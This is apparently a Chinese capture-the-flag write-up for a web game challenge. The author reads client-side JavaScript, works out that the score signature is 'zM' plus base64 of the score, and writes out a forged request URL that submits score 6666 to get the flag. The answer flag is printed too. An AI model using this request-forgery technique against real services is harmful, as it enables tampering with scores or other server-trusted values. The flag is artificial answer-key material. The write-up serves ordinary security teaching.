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0、使用firefox打开网页,发现是盖楼游戏
** 先玩一下游戏  1、游戏结束之后,查看网络活动   发现发送了一个php类型的数据 score.php?score=50&ip=223.72.62.234&sign=zMNTA=== 其中sige的内容是zM+base64(score) "50"的base64编码正好是NTA=
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2、去源代码中查找sign字符串
** 找到了有关sign的js代码 
var ppp='223.72.62.234';
var sign = Base64.encode(score.toString());
xmlhttp.open("GET","score.php?score="+score+"&ip="+ppp+"&sign="+sign,true);
xmlhttp.send();
$('#over-zero').show()
如果将分数修改为比较高的数值就可以通过游戏 不妨将score的数值修改为6666 6666的base64编码为:NjY2Ng==
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3、构造payload
** 在原来PHP文件的基础上进行修改: 将score改为6666,sign改为zMNjY2Ng==
最终payload: http://114.67.246.176:11049/score.php?score=6666&ip=223.72.62.234&sign=zMNjY2Ng==
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4、得到flag:
**flag{f113e0632aba34464e225a9031c8bfd7}
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